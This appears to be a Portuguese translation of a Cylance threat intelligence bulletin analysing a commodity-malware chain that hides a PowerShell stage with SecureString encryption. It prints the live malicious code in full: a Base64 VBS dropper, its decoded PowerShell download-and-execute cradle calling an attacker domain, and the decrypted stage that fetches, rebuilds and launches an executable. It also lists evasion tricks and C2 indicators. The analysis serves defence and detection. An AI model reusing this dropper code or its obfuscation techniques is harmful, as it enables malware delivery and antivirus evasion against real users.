Desempacotando um Packer: Ofuscação do PowerShell usando o SecureString

Boletim de Inteligência de Ameaças Cylance – Setembro de 2018

Introdução

Você imagina que a vida seja muito difícil para os agentes de ameaças atualmente, dada a grande quantidade de empresas de segurança que estão alimentando listas negras sempre crescentes e insaciáveis de malware, que rastreiam milhões de impressões digitais de payload.

Você acha que passar malware pelos produtos antivírus (AVs) seja uma tarefa hercúlea, exigindo o desenvolvimento de novos malwares personalizados nunca antes vistos.

Se você pensou em alguma dessas coisas, está errado.

Os agentes de ameaças estão atingindo cada vez mais suas metas, não com payloads exóticos, mas com os chamados “malwares de commodity” – programas que você pode encontrar online, gratuitamente ou por uma taxa nominal. Estes possuem partes de malware conhecidas por todas as empresas de antivírus, cujas impressões digitais (ou “assinaturas”) deveriam ser imediatamente reconhecíveis para elas.

Então, por que os agentes de ameaças estão usando cada vez mais malware de commodity?

E por que eles são bem-sucedidos ao fazer isso?

A resposta curta para ambas as perguntas é ofuscação.

Neste Boletim de Inteligência de Ameaças, a Cylance explica o que é ofuscação e por que funciona. E nós demonstramos como uma técnica de ofuscação observada recentemente conseguiu ultrapassar a maioria dos produtos antivírus.

Cenário e análise

A Cylance tem acompanhado a tendência que vê os agentes de ameaças se voltando cada vez mais para o malware comum. Eles o fazem porque é barato, fácil de usar e, se encontrado, ajuda a torná-los anônimos. Quando a impressão digital de um malware é conhecida por todos e está ao alcance de todos, o agente de ameaças pode se esconder entre um grupo incrivelmente grande de suspeitos. A assinatura do payload torna-se essencialmente inútil.

A maneira como esse malware de commodity funciona com sucesso, apesar de ter uma assinatura conhecida, é um paradoxo explicado pelo conceito de ofuscação, uma técnica que efetivamente altera a assinatura geral, apesar de entregar o payload familiar.

A ofuscação muda o foco do invasor de personalizar o payload final para personalizar o método de entrega. Pode-se supor que essa mudança seja uma resposta ao modo como muitos produtos antivírus lidam com a captura de malware.

Como mencionado acima, muitos AVs contam com assinaturas para identificar malware. Para muitos deles, a assinatura é apenas um hash, que é uma representação alfanumérica exclusiva de um malware. As assinaturas, muitas vezes, são hashes, mas também podem ser outras representações breves de um único código dentro de um malware.

Ofuscação é um termo que descreve um conjunto de técnicas usadas para escapar de AVs que dependem fortemente de assinaturas. Essas técnicas alteram a estrutura geral de um malware sem alterar sua função. Muitas vezes, isso resulta na criação de camadas que agem para enterrar o payload, como as figuras aninhadas em uma boneca russa.

Técnicas comuns de ofuscação incluem o uso de:

  • packers, que compactam ou “empacotam” um programa de malware;
  • crypters, que criptografam um programa de malware (ou partes dele);
  • outros ofuscadores, que fazem uma mutação – mas não neutralizam – o programa de malware de várias maneiras, alterando o número total de bytes do programa.

O efeito dessas técnicas de ofuscação é alterar o hash e, frequentemente, a assinatura do malware, seja alterando o tamanho do arquivo (por exemplo, embalagem), seja ocultando suas cadeias exclusivas de código do produto antivírus via criptografia.

Embora alguns AVs procurem técnicas comuns de ofuscação para que eles também possam estar na lista negra, essa prática não é tão bem estabelecida quanto a lista negra de assinaturas de payload de malware.

Na análise técnica, abaixo, dissecamos um exemplo no qual o método de ofuscação utilizou recursos do PowerShell, uma ferramenta incorporada ao Microsoft Windows.

Análise técnica

A Cylance encontrou o arquivo de malware sob análise, que usa um método raro de ofuscação do PowerShell, enquanto observa alguns scripts mal-intencionados novos e mal detectados. A amostra pareceu usar várias técnicas descritas por Daniel Bohannon. O arquivo que analisamos foi um ZIP file contendo um documento PDF e um script VBS:

            50e7fe23731ad94f1714c1a8acfce3f8b6e6e918b3e3aa1daa7275cb6052e68c.

No momento em que o encontramos, o arquivo foi detectado apenas por 3 produtos:

O script VBS usou uma codificação Base64 rudimentar para ofuscar a primeira camada. O conteúdo desse script é exibido abaixo.

Function l(a): With CreateObject(“Msxml2.DOMDocument”).CreateElement(“aux”): .DataType = “bin.base64”: .Text = a: l = r(.NodeTypedValue): End With: End Function

Function r(b): With CreateObject(“ADODB.Stream”): .Type = 1: .Open: .Write b: .Position = 0: .Type = 2: .CharSet = “utf-8”: r = .ReadText: .Close:  End With: End function

Execute l(“RnVuY3Rpb24gR2V0VGltZVpvbmVPZmZzZXQoKQ0KICAgIENvbnN0IHNDb21wdXRlciA9ICIuIg0KDQogICAgRGltIG9XbWlTZXJ2aWNlIDogU2V0IG9XbWlTZXJ2aWNlID0gXw0KICAgICAgICBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9uTGV2ZWw9aW1wZXJzb25hdGV9IVxcIiBfDQogICAgICAgICAgICAgICAgICAmIHNDb21wdXRlciAmICJccm9vdFxjaW12MiIpDQoNCiAgICBEaW0gY1RpbWVab25lIDogU2V0IGNUaW1lWm9uZSA9IF8NCiAgICAgICAgb1dtaVNlcnZpY2UuRXhlY1F1ZXJ5KCJTZWxlY3QgKiBmcm9tIFdpbjMyX1RpbWVab25lIikNCg0KICAgIERpbSBvVGltZVpvbmUNCiAgICBGb3IgRWFjaCBvVGltZVpvbmUgaW4gY1RpbWVab25lDQogICAgICAgIEdldFRpbWVab25lT2Zmc2V0ID0gb1RpbWVab25lLkJpYXMgLyA2MA0KICAgICAgICBFeGl0IEZvcg0KICAgIE5leHQNCkVuZCBGdW5jdGlvbg0KDQoNCg0KDQoNClNldCB2ZXJ0dSA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQoNCnZrMj0iZXJTIg0KDQppZiBHZXRUaW1lWm9uZU9mZnNldCA9IDkgdGhlbg0KDQoJRGltIGh1bW0NCglodW1tPSJvZmZpY2UiDQoJdHNzMT0iUG93Ig0KCW9rb2w9InNzIC1jIg0KCW5vcDM9ImhlTGwiDQoJbXVyPSJsZSBoaWQiDQogICAgdmVydHUuUnVuKHRzczErdmsyK25vcDMrIiAtd2luZG93c3R5IittdXIrImRlbiAtbm9leGl0IC1leGVjdXRpb25wb2xpY3kgIGJ5cGEiK29rb2wrIm9tbWFuZCBJYEVYICgobmVXYC1PYmpgRWNUICgoJ05ldCcrJy4nKydXZWJjJysnbGllbnQnKSkpLigoJ0Rvd25sb2Fkc3QnKydyaScrJ25nJykpLkluVm9rRSgoKCdodCIrInRwOicrJy8iKyIvcicrJ2F2JysnaWcnKydlbC5jb20vMScrJ2NyLicrJ2RhJysndCcpKSkpICIpDQoJU2V0IHZlcnR1ID0gTm90aGluZw0KCVdTY3JpcHQuUXVpdA0KCWVsc2UgDQoJdG9wPTENCmVuZCBpZg0K”)

Figura 1: conteúdo do script VBS inicial.

Esse script decodificou-se para:

Function GetTimeZoneOffset()

Const sComputer = “.”

 

Dim oWmiService : Set oWmiService = _

GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” _

& sComputer & “\root\cimv2”)

 

Dim cTimeZone : Set cTimeZone = _

oWmiService.ExecQuery(“Select * from Win32_TimeZone”)

 

Dim oTimeZone

For Each oTimeZone in cTimeZone

GetTimeZoneOffset = oTimeZone.Bias / 60

Exit For

Next

End Function

 

Set vertu = CreateObject(“WScript.Shell”)

 

vk2=”erS”

 

if GetTimeZoneOffset = 9 then

 

Dim humm

humm=”office”

tss1=”Pow”

okol=”ss -c”

nop3=”heLl”

mur=”le hid”

vertu.Run(tss1+vk2+nop3+” -windowsty”+mur+”den -noexit -executionpolicy  bypa”+okol+”ommand I`EX ((neW`-Obj`EcT ((‘Net’+’.’+’Webc’+’lient’))).((‘Downloadst’+’ri’+’ng’)).InVokE(((‘ht”+”tp:’+’/”+”/r’+’av’+’ig’+’el.com/1’+’cr.’+’da’+’t’)))) “)

Set vertu = Nothing

WScript.Quit

else

top=1

end if

Figura 2: conteúdo decodificado do script VBS inicial.

Esse script VBS baixa e executa o arquivo “http://ravigel.com/1cr.dat” via PowerShell com as seguintes transições: “PowersheLl -windowstyle hidden -noexit -executionpolicy bypass -command IEX(New-Object Net.Webclient)DownloadString.Invoke(‘http://ravigel.com/1cr.dat’)”.

Diversas técnicas, como a divisão de cadeias por meio de concatenação e atribuição de variáveis, bem como o uso de marcas de escala “`” e capitalizações de letras aleatórias são usadas para dividir palavras ou assinaturas das quais as empresas de antivírus geralmente dependem para identificar o uso mal-intencionado do PowerShell.

O arquivo “1cr.dat” é onde as coisas ficam interessantes. Ele usa um método de criptografia de sequência de caracteres inerente em C# chamado SecureString ou, mais especificamente, “Marshal.SecureStringToGlobalAllocAnsi“. Isso é comumente usado para criptografar strings confidenciais em aplicativos usando o DPAPI interno da Microsoft.

. ( $ShelliD[1]+$SHeLLid[13]+’x’)(([runtiMe.inTERopsErvICes.MArsHAL]::pTRTOstRINGAnsI( [rUntIME.intEROpsERVICeS.MArshAl]::SeCUReSTRiNGToGLObalALLocansI( $(‘76492d1116743f0423413b16050a5345MgB8ADEAbQAxAE4AZwBKADcAWQBYAFcAaABjAGQAQwBRAFYAVgBrAGIAZQBBAHcAPQA9AHwAYgA2ADAAZAAwAGIANQBiADQAMgAyADUAYgAwADgAOQBkAGMANQBlADkAYwAyADgAOQBmAGUAMgA5AGIAMgAwADEAMgAzAGUAMQBlAGEAYQBkADgAMgBkAGYAZgA4AGYAZAAyADIAZAA0AGEAZgA1ADkANQA3ADQAMQAwADcANQAwADIAMwA4ADAAYwBiADAAOAA5ADQANgA3ADcAMwAwADgAMgA2AGIAMgBjAGIAOAA5AGQANABhADYAZQA3ADYAYwA2AGIAMAA3ADcAOABlADgANgAxAGMAOAA5ADUANgBiAGQAMwBkADMAMQA4ADEAMgA4ADEAYwBmAGUANQAxADIAOAA2AGIANgA4ADAAOQA0ADYAZgBmADEANwBlADAAMAA5AGMAMwBiADMAYwBhADUANwA2AGYAMwBhADIANQA3ADYAMAA1AGMAYgA0AGQAZQA4AGIAMQAwADkAZQBlADkAMwA4AGIANgA3AGQAYQA1AGEAZABlAGYAMgBhADMAMQA0ADQAYgAxADAAYQAxADkAZAAzADcAYgBjADgANgBmADYAOAA0ADYANwBmADIAZQBhADQANQBlAGEAZQAzADMAZQA5ADgAZAA3AGIAMwA3AGEAZABkADMAMQBkAGUAZAA2AGQAOQBlADcANgAyADAAMAAwADEAOQBjADEAMQBmAGYAOQBjADUAZQBjADYAYgA1ADQAMgA4ADAAMABiADUAMQA2ADcANAA4AGMAMQBiAGQAOQA5AGIAMgAwADAANwA2ADgAMwBlAGUANAAwADAAMwAwADIAMwA5AGEAOQA4ADQAYgA2ADkAYQAwADEAZAAwADgANAA1AGQAOABmADIAOABiADcANgBlADgAOABmAGYAYgBmADUAOAAxADUAYwA1AGIANwA0ADgAMgAwAGQAOABmADQANAA3ADYAMgA4AGYAYgBiAGMANQBmAGEANQAzADIAMQAxADIANwA2AGMAZgBiADgAYQAwADEAMQBkADcANwAyADgAYwBmAGIAOQA2AGYAMwA5ADgANAA4ADUAOAA4ADIAYQA4ADMANAA0AGQANABkAGYAMgA5AGIANABhAGYAYQAzAGUANwA4ADAANwAzADIANQA0ADEAYwBhAGQANwBkAGIAMgAxAGMAZABmAGMAMAA2AGYAYwA5ADMAYgA5ADIAMAAwADIANwAzAGUAZAAyADUAMgA4AGEAZQA2ADIAOAA3ADQAOAAxADQAYQBiADYANAA0ADgANQBhAGYANQA4AGMAYwA0ADUANgBhAGMAYgA5ADMAYQBmAGUAYwBmADgANQBlADMAMQA5AGEAMQA5ADcAOABjADYAZgAyADAAMgA4ADgANwA3AGIAMwBmADcANQA5ADQANwBjADYAZgBiAGEAMgBlADEAMABkAGMANAAxAGQANwA2ADIANgA1ADcAYgAwAGYAMwAxADQAMABkADQANwAxADcAOAAxAGYAMgAxAGYAYQBlADYAMQBlADIANgBiADMAMwAzADQAZQBmADYAMQA5ADQAMgAyADMANABlADkAMQA3AGYAYwA0AGYAMwAxADQANwAyAGUAMgAyADkAZgAwADcAZgA3ADkAMwBkADEANwAyADAAZgBkADgAMABmAGMANQA2AGYAMQBkAGIAOQAxADUAZgAzADUAYwA4AGIANwBhAGUANgA5ADQANAAxADIAZABhADAAMgA0ADQANABiADEAZAAxADgANAAwAGEANgBkADAAOQAwADAAMgBkADIAOQAzADQAZQBlAGYAYwA5AGMANQA5AGEAYgAxADUANgBkADIANgBhADgAOQBmADYAOABlADUAMgA4ADgAMwAxADAAMgA5ADkAYQBlADcAOQA1AGEANwBmAGUAZABkAGYAZgA1ADUAMwBkAGUANwBmADUAOQBkADgAMwA4ADkANQBhAGIAZQA3AGQAYwA0ADkAOABlAGUAMQA1ADMAYQBlADAAMgA2ADcAMwA0ADMAYgAwADIAZgBmAGIAYQA2ADUAOQBjADIAYgA4AGQAOAAwAGYANgBiADIANwBkAGEAZABiAGMANAA3ADAAOAA4ADgANgBhADAAYgA4ADcAZQA2ADgAMwAzADAAMAAzADQAOQA3AGEANgA2AGYAMwAzADgANQBiAGMANgA1ADYAYwA2ADkAYwA5ADIAZAA3AGIAMwA2AGIAYQA5ADkAMgAxAGYAMAA1ADEAMAA5ADYANAAxADUAMABiADEANAA4ADgANAAzADYANAA0ADMANgBhADQAYgA1AGQAYwA4AGUAYQBkADMAYwA5AGYAMABlADEANQA2ADYANQA4AGYANABlADcAOABmADAAMgAzAGQAYwA2AGIAOQA0ADIAZABmADQANQAwADMAZQAxAGEAOQBkADAAYQA0ADUANwBhAGMAYwA2AGEANwA0AGIAYwBkADUAYQA3AGIANgBiAGYANQBlAGMANgBmAGUANwBlADAANABhAGQAMQA4ADMAZAA0ADQANQBlAGQAMgBjADQAZQAxADcAYQBlADMAZgBmAGEAZABlAGYAYQBiAGUANgA5ADgAZgAyADYAOAA4ADcAOQAxAGQANgAyAGUAZgBiADYAMAAwAGMANAA5ADkAMgA3ADUAMABlADIAYwBhADUAMQAwAGMAMABlADQANAA3ADQAYwAwAGYAZQA0ADQAYwA1ADgAYQA2ADMAYQBjADAAZABiADkAYQAwADAANABiAGQAMwA0ADcANAAzAGQAMgA2ADEAOQBmADgAZQA0AGEAMQA0AGMAYgA0ADEAMQA2ADUANgA5AGIAMgBmADEANABiAGQAYwAwADkAMAAxADkAZgAyAGQAZgBiAGUAYQBmAGMAZQBlADcAZAAyADIAOQAyADEAYwBiADMANABlAGYANQBkADkAMABiADUAYgBkADIANQA5ADEAYgAzADYAYQA3AGMAMgA1AGEANABmADgAYwBiAGEAOQBlAGYAZQA5AGUANABjAGYANwAzADQAYgBmADUAYwBmADcAYQAyAGQANABlADMAZgAyADYANwBlADAAOAA3ADgANAA0AGMAYgAwAGQAOABiAGIAMQA3AGYAMwA2ADUAMQBiADYANQBlADAAZQA5ADQAMwBmADgAOAA0ADIANwBjADUAOQBjAGYAZQAzADUANgA3ADUANgA2AGYAZQA2ADMAZgA4ADcAOQBlADMANwA3AGEAZQA3ADMAOAAxAGMAZgAyADIAMQAwADAAZQAzAGYAMQA4AGIAYgA4ADMAZQAwADUAMQBhADgANwA1ADMANQA4AGMAOAAzAGYAYQAxADcAYgBmAGMAOQA4ADMAMgAxAGQAZgBmADYAYQA0AGIAMABmAGIAMQBhADYAZQBmADkAYgBkADMAMQA4ADEAOAA4ADIAYgA2ADUAMgA0AGEAOAAxADAAYgA4AGUAYgBjAGMAZgA3ADEAZABiADMAYgAzADIAMABmADcAOQAzADkAOAA0ADcAOQA2ADEAOQA1ADkAMwA1ADgAOQBkAGYAMQA1ADAANwAxAGQAMgA4ADkAYwAwADgAMgAwAGUAZgAzADYAOQBhAGUANwBlAGMAMQBkADQANABkADAAOQAzAGUAZgBhADQANAAyAGEAMgBiAGQAMgBmADUAYgA5AGQAMgBkADEAMQA1AGMAYwBjAGYAOQBjADUAOAA2ADAANgAwADAAZQA3AGIAMABiADIAYQBkADcAZgA3AGIANgBmADMAMQBhADIAMAA1ADAAYgAxADQANgA5ADQAMgBhADMAOAA2ADgAOQA4AGEAYgA0ADcAYQAxAGYANQA4ADIAMgBiADYAYQBkAGMAMQBiADIANABhADEAZABhADMAMAAzADcAMgAyADMANAAzADQANAA1ADkAYwBmADIAOAA2ADUAYgBhADUANgAwAGYAMgBiADAANwBmAGUANwA5AGIAMgAyAGUAZAA4ADkANwA4ADEAYgBmAGUANwA4ADgAMAA5ADkAMwBhAGQANQA0ADkANwA3AGUAYQA0AGEAZQA0ADYANwA2ADcAMAA4ADgAOAA4ADkANAA0ADgAOAA5ADQANwAxADkAZAA3AGUAMgBlAGYAZQBhAGQAOQBkAGUAZQAyADkAZgA3ADkANQBkADUAMwAwADkAYgAzAGIAOAAwAGMAZQAyADUANQBlADUAOAA1ADkANABmAGIAMQA5AGMAZABkADgAOQA1ADgANAAwAGEANwBkAGIAMQBiAGYAOABkADcAYQBhAGMANAAyADcANgAzAGEAYwBmAGUAZQBjADAAYgAzAGMAYQBiADIAYwA5AGYAZgA2AGQAYwA5ADEAMgAzADQAYQA5AGYAZQBhADUANwA4ADgAZQA2AGQAMwA4ADQAMABlADUAOQBjAGMAMgBjADIAOABlADQAMQA4ADIAZgA2ADcAYwBiAGUAZQAyAGYAOABhADYAOAA3ADMAZgA4AGEAMAAzADMANQAyADgANwA5AGYAYwBlAGEAZgBmADMAOAA1AGUAYgA2ADMAYgBkADIAZQBlADUANwA2ADAAMABiADMAZgBkADUAZgBjADkAOQAzADYAYQBkAGUAMAAwADcAMwAzADkAMwA0AGIAOQAyAGQAMgA5ADYANQBmAGUANwA5ADcAMQAwADQANgAzAGEAOAA1ADQAMQBiAGMAZgAxADkAMQBhAGQAYQA3AGUAZQBkAGQAZQA1ADIAMwA5ADEANQBjADYAYwA4ADEAZgAwADcAMABjADUAYwBlADcAZQA2ADcAZgBkAGIAMgAzAGYAZQA1AGMAMgAwAGQANwA3ADYANgA0ADEAMgA3ADgANQA2ADIAZgAxADYAZAA1AGEAZgA5ADIANwBkADMANQA0AGUANQA1ADMAZAAzADgAMABlADEAZgBmAGEANQAxAGYAOABjADIAMQA5ADMAYgA0AGUAMAAxADcANgBhADUAZQAyAGQAZAAwADYAOABhADcAOAAzADIAMgAxADAANwBlAGEAMwBmADMAMAA0ADEAOAA5AGIAMwAzADcAZgAwAGMAMgAyADUANgBiAGEAOABjAGIAYgBiADAAYgBjADkANQBmADkAYgAxADYANgAyAGUAMQAwAGQAMABhADAAOABjADYAMgAwAGUAOQA1AGQAOAAzADYAMgBjAGEAYgAyADgANgBmADMAMQBmADAAYQBiAGIAZABkADkAZgBkAGQANQAwADIAZQBjAGUAZAAxADMANQBkAGEANABiAGIAZQA0ADgANQA4ADYANwBjADMAOAA2ADcAYQAwADMAYwAwADQAYgBkADcAOQA4AGMANwBjAGMAZAAxADMANABlADMAMQAxADgAMgBhAGYAYgBiAGIAMQAwAGEAMwA0ADUAZgA0AGQAZQBmADMANwA5ADIANwA3AGEAZABmAGMAMgBiADIAMABlADcAYQBlADQAZgA4ADEAZAAxAGQAMgBkADkAOQA3AGEAOABmADAAYwAxADAAYQA1ADYAMQA4AGYAMAA3AGIANgA5ADAAYQBkADkAMwBjAGMAMwAzADQANwAyADkAMAA5AGYANQAwADkANwAxAGUANwBkAGEAYwAwAGUAMgBhAGQAOABiADQANABlADAAZQA3ADUAZAA4ADIAYwA2ADkANgAyADYAYgA5ADMANwA1ADYANwBhAGUAYQAzAGIAYgBhADEAMwA1AGUANABmADMAMAA5ADkAOQAxAGYAYQBmAGEAYQAwAGEAOAAwADAAMgBjAGEAMQAxAGMAZAA5AGUANQAyAGEAMAAxADQAZQBmAGEANgBhAGMAMwBjADQAMAA0ADcAZQBiADgAMgAzAGEANgA2ADEAYwBjAGQANQBjADIANAA0ADcAMQBmAGMAZABkADAANAA4ADQANwA0ADIAOAAxADcAZQA1ADMANQA1AGEAZgBjAGMAYwBiADcAYwAyAGIAYQBhAGYAYQA5AGUAMwBkADYAYgAzADQANwA5ADIAZAA0ADEAZQA2AGMAZAA5AGYAMAAzAGMAMAA1AGIAMAAwADIAZgA3ADEAMABmAGQAMgBkADkAZQA2ADYAMwA5ADkAOQBiADkANwAwAGYANABiADIAMwA1ADIAZgA3ADMANgBiADQAYwBmADgAZAAzAGUAZQBkADgANgAwADAAYwA2AGEAOAA3AGQANABmAGQANAA2ADAAMgBjAGQAZgBjAGUAMwBjADQAZgBmADAAOAAwADkAOABiADcAOQBiAGUAYQBhAGQANQAyADcAMQA0ADgAZgA5AGUAOAAwAGIAOQAwAGYAYwBlADMAMQBhAGEAYgBmADQAZgAyAGMAYgBkADYAZAA3ADkANAAxADUAMgAwAGYAMQBjADIAZQA3ADgAMwAyADgAOQA1AGMANwA3ADQANABkAGQANwAyADUANgA4AGQANAAxADQAZAAwAGQAZgA0ADEANABkADAAZAA5ADYANQBiADYAOAA2ADIAMQAzADgANQBiADcANwA0AGQAMgA0ADQANgA3ADQANQA4ADQAYwBlADgANQBhADgAMABhADAAMAA5ADUANAA3ADUAZgA1AGIAMwBmAGYAMwBlAGUAYgA2ADcANwA2ADgAOQA5ADIANwBkAGIANwA4ADMANwAyADMAZAA5ADcAYwBjADgAMABiADUAYwA2ADkAZAAxAGIAOQA0ADgAYQBjADQANQA2ADQANAAwAGQAOQAxADUANgA4ADYAMQA5AGQAZABiADgAYwA4ADgANABhADAANgBkAGYAMABkADgAMQA4AGYANQBjAGEAMgAyADMAZgBiADIAOABhADUAMwAxAGUAYgA1AGUAZQBjAGMAYgBmADUANgA3ADkAZQA0ADkAYwAzAGEAZgBkADEANwA5AGIAZgA1ADkAZgA5ADYANwBhADUAOQBmAGMAMABkAGQAYgBjAGQAMwBhADIANgA1AGEAYgA1ADQAYwA2AGIAMwBlADAANAA4ADIAOQA1ADAAMAA3AGIAOQBlAGUAMAAxADMAYgAwADMAOQA1ADEAMQA3AGUANQAyAGMAOAA4ADgAYwBiAGUAYQAzADQANQAzADQAOQAwAGUAMgA3ADEAMgBhAGYANwA4ADUAZQA0AGEAZQAzADgAOQAyADcAOAAxADEANAA4AGQAMQBlADAAYQA1ADkAYwA1AGMAMgBlADIAYQA4AGYANQAzAGEAYwA4AGUAMwA0ADIANwAwAGQAZQAxADgANgBhADcAMAA5ADQAMgBmADUANgA1AGEAZQAzADcAYwA5ADkAMgBkAGUAOAA1AGIANwBlADgAMwA2ADcAOABkADIAYQBlAGEANQBkADEAMwBjADIAMAA1ADQAOQAxADgAMQA1AGQAZAA4AGUAMQA2ADIAMAA0ADIANwA0ADgAYgAzADEAMABiADYAYQBhAGMAMgA3AGIANwAzADcAMQBlADcANwBiADQAMwBhADUAZQAyAGMAMwBlADUANQA5AGMAZAAyADEAYQA4ADAAMgBjADUAZgBiAGYAMgA1ADQANQAzADYAYwBhAGQAMQAzADAANgA1ADgAZQA3AGYAZgAzAGUANwBjADYAMABhAGIAOQA4AGUANwAyADMAMgA0AGMANQAzADIANwA2ADUAMwAzADUAOQA1ADYAMQAxADYANABjAGYAOQA1ADEAMQBmADUAZQAyADcAMAA0ADYAYQBjADcAMAAxAGEANQBiAGMAMwA4ADAAMwBkADUAYwAyADkAYgAzADcAOQA2AA==’ | COnVErtTo-SecUrEStrING -Ke  145,96,34,150,165,222,211,99,165,119,17,98,225,14,249,255) ) ) ) )

Figura 3: conteúdo do cr1.dat.

O conteúdo de “cr1.dat” é descriptografado usando a chave de 16 bytes no final do script “0x91, 0x60, 0x22, 0x96, 0xa5, 0xde, 0xd3, 0x63, 0xa5, 0x77, 0x11, 0x62, 0xe1, 0xe, 0xf9 , 0xff ”. O string decodifica para:

do{

sleep 41;

ping -n 6 -w 100 www.microsoft.com > $env:tmp\license.pem;

$rpm=Get-Random;

$ruf = $env:public;

(New-Object System.Net.WebClient).DownloadFile.Invoke(“http://ravigel.com/top.dat“,”$ruf\$rpm.zip”)

}

while(!$?);

$mall = New-Object -ComObject shell.application;sleep 7;

$holl = $mall.NameSpace(“$ruf\$rpm.zip”);

foreach ($item in $holl.items())

{

$mall.Namespace(“$ruf\”).CopyHere($item)};

gci -Path “$ruf\” -Filter *.tab | ren -NewName “$rpm.txt”;

gci “$ruf\$rpm.txt” | % { (gc “$ruf\$rpm.txt”) | ? { (1) -notcontains $_.ReadCount} | sc -path $ruf\$rpm.txt };

[string]$hex=get-content –path $ruf\$rpm.txt;

[Byte[]] $temp=$hex –split ‘ ‘;

[System.IO.File]::WriteAllBytes(“$ruf\$rpm.exe”, $temp);

&Start-Process $ruf\$rpm.exe

Figura 3: String descriptografado em cr1.dat.

O primeiro conjunto de instruções está aí para tentar vencer as soluções automatizadas de sandbox. O script em si baixaria o arquivo “ravigel.com/top.dat”, que era um arquivo ZIP contendo outro arquivo chamado “top.tab”. “Top.tab” era um arquivo PE codificado pela representação ordinal de cada byte hexadecimal separado por um caractere de espaço precedido pelo título “google\r\n”.

f = open(‘top.tab’,’rb’).read()

h = f.replace(‘\r’,’’).replace(‘\n’)

h = h.split(‘ ‘)

out = ‘’

for b in h[6:]:

out+=chr(int(b))

Quando decodificado, a carga binária tinha o hash:

f3cf988a64c1732b6b58a72922e93d182ba64298f6beae5de0c8de21477a9474

payload só foi detectado por dois produtos quando foi implantado pela primeira vez pelos criminosos, mas, no momento em que o testamos, 18 produtos detectaram o malware. O payload é uma ferramenta simples de espionagem amplamente conhecida pela comunidade de segurança. Considera-se malware de commodity. Ele se comunica com o C2 “siberponis.com” e também é configurado para se comunicar com um servidor de backup “baferdifo.com” que atualmente não representa um endereço IP.

Conclusão

Os agentes de ameaças estão usando cada vez mais técnicas de ofuscação em combinação com malware de commodity. O resultado final é um malware mais eficaz em evitar produtos antivírus e que, se detectado, é mais difícil de ser atribuído a uma fonte.

Essa tendência é contrária à suposição amplamente aceita no espaço de segurança da informação, de que malwares altamente personalizados, emparelhados com exploits de dia zero, merecem mais atenção. E, embora o uso dessas ferramentas seja preocupante e deva ser monitorado, a atenção não deve ser completamente desviada dos agentes de ameaça – incluindo os agentes de ameaças avançadas – que estão conseguindo ignorar os produtos antivírus com ferramentas que não são “dia zero”, mas sim “todo dia”.

Apêndice

Domínios:

ravigel.com

siberponis.com

baferdifo.com

Endereços de IP relacionados ao siberponis.com:

149.129.220.242

161.117.9.13

212.92.98.68

46.21.248.199

47.74.189.69

78.155.206.114

85.119.150.167

92.53.66.244

92.53.77.108

95.179.138.241

95.213.195.213

95.213.199.244

Sobre a Cylance

A Cylance usa inteligência artificial para fornecer produtos de segurança focados em prevenção, além de serviços especializados, que mudam a forma como as organizações abordam a proteção dos endpoints. As soluções de segurança da Cylance fornecem toda uma gama de prevenção preditiva de ameaças e visibilidade em toda a empresa, combatendo ameaças como malwareransomwaremalware sem arquivo, scripts maliciosos, documentos armados e outros vetores de ataque. Com prevenção contra malwarebaseada em IA, controle de scripts e aplicativos, proteção de memória, aplicação de políticas de dispositivos, análise de causa na raiz, detecção de ameaças e detecção automatizada de ameaças e resposta junto a serviços especializados de segurança, a Cylance pode proteger endpoints sem aumentar a carga de trabalho ou os custos da equipe. Para mais informações, visite: www.cylance.com.

Seja o primeiro a comentar on "Desempacotando um Packer: Ofuscação do PowerShell usando o SecureString"

Faça um Comentário

Seu endereço de email não será mostrado.


*